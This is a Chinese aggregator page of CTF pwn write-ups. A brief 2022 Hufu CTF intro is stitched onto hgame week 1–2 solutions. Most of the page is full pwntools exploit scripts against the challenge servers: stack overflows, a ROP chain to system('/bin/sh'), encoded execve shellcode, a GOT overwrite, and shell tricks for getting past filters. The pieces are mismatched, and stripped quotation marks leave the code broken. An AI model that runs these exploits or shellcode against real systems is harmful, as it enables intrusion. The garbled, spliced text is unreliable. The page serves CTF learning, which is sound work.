2022虎符CTF pwn wp+复现

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2022虎符CTF pwn wp+复现相关的知识,希望对你有一定的参考价值。

参考技术A 难过

题目大意是剪刀石头布进行猜拳,设置了种子,但种子在栈上,且可溢出覆盖
所以就改掉种子,然后再for循环和它比,从而实现绕过进入漏洞函数

格式化字符串漏洞,只有一次,泄露libc同时跳到有栈溢出的那个read里
一开始因为没有泄露地址犹豫了很久,后来发现前边覆盖种子的时候似乎能进行泄露。。

这里也可以通过栈上的函数地址泄露pie偏移,就不用爆破了

复现

赛后看这题其实也不难,比赛的时候怎么就做不出呢

go语言程序,函数入口在math_init,字符串的输出都是单个字母,所以程序流不太好判断。
先要过第一个判断

hgame pwn部分wp

WEEK 1

1,Hard_AAAAA

 

from pwn import*
context.log_level = debug

sh=remote(47.103.214.163,20000)
#sh=process(/home/harmonica/Desktop/hgame/Hard_AAAAA)

sh.recv()
payload=a*0x7b+x30+x4f+x30+x6f+x00+x4f+x30
sh.sendline(payload)

sh.interactive()

2,one_shot

在bss段name和flag是相连的

技术图片

 

 漏洞点在

技术图片

 

 可在任意地址写入x01

于是可以在0x6010E0处写入x01,破坏scanf加入的截断符,使printf输出name+flag

from pwn import *

p = remote(‘47.103.214.163‘,20002)

p.recvuntil(‘your name?
‘)
p.sendline(‘a‘*31)
p.recv()
p.sendline(‘6295775‘)

p.interactive()

 3,ROP_LEVEL0

其实就是个开了nx的栈溢出,rop就好了,但不知为何当时做的时候死活求不出libc,结果复现时候好了。。。

from pwn import *
from LibcSearcher import LibcSearcher

context.log_level = debug

sh=remote(47.103.214.163,20003)
#sh=process(/home/harmonica/ROP_LEVEL0)
elf=ELF(/home/harmonica/ROP_LEVEL0)
#libc=ELF(./db/libc6_2.23-0ubuntu10_amd64)
def send(content):
    sh.recvuntil(You can not only cat flag but also Opxx Rexx Wrxxx ./flag
)
    sh.sendline(content)

puts_plt=elf.plt[puts]
puts_got=elf.got[puts]
main=elf.symbols[main]
pop_rdi=0x400753

payload =A * 0x58+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
send(payload)

puts_addr=u64(sh.recv(6).ljust(8,x00))
libc=LibcSearcher(puts, puts_addr)
libcbase=puts_addr-libc.dump("puts")
log.success("libcbase: "+hex(libcbase))

system_addr=libcbase+libc.dump("system")
binsh_addr=libcbase+libc.dump("str_bin_sh")

payload =A*0x58+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
send(payload)

sh.interactive()

4,Number_Killer

shellcode使用,给了 jmp rsp,因为longlong的限制,部分shellcode要用负数

from pwn import *

#p = process("./Number_Killer")
p = remote(47.103.214.163,20001)
p.recvuntil("Let‘s Pwn me with numbers!
")

def sendNumber(num):
    p.sendline(str(num))
    sleep(0.1)

for i in range(12):
    sendNumber(0xc00000000)         

sendNumber(0x40078d)

shellcode = jhHxb8/bin///sPHx89xe7hrix01x01x814$x01x01x01x011xf6Vjx08^Hx01xe6VHx89xe61xd2j;Xx0fx05             

shellcode = [7955998173821429866,-1762798268771782865,2608851925472997992,7662582506348151041,-8554491946326270456,364607107058774502]


print(len(shellcode))
for i in range(6):
    num = shellcode[i]
    sendNumber(num)

p.interactive()

 WEEK 2

1,findyouself

技术图片

 

先让猜测当前目录位置,用

ls -l /proc/self/cwd

然后进入下一步,

技术图片

 

 可在执行一条命令,但是对输入有限制,不能用/bin/sh

可以用$0代替

之后的close关闭了输出,用

exec 1>&0

打开输出流就可以了

技术图片

 2,Another_Heaven

技术图片

 

 在init里打开了flag文件

技术图片

 

 此处有一个任意写的机会,可以修改一个地址的值,往后cpswd()里

技术图片

 

strncpy里用到了flag

技术图片

 

 于是可以用之前的任意写将strncpy改为puts

#-*- coding:utf-8 -*-

from pwn import *
from time import *
context.log_level="debug"

sh = remote(47.103.214.163,21001)
#sh = process(/home/harmonica/Another_Heaven)

sh.recv()
sh.sendline(6299680)
sh.send(xe6)
sh.recvuntil(:)
sh.sendline(E99p1ant)
sh.recvuntil(:)
sh.sendline(‘password)
sh.recvuntil((y/n))
sh.sendline(y)
sh.recvuntil(?)
sh.sendline("Alice·Synthesis·Thirty")
sh.recvuntil(":")
sh.sendline(‘password)
sh.recv()

sh.interactive()

 

以上是关于2022虎符CTF pwn wp+复现的主要内容,如果未能解决你的问题,请参考以下文章

2022-D^3CTF-Web-Writeup

2022-D^3CTF-Web-Writeup

2022-D^3CTF-Web-Writeup

2022柏鹭杯pwn复现

[CTF pwn] Canary one by one 暴破

春秋云境 CVE-2022-24663复现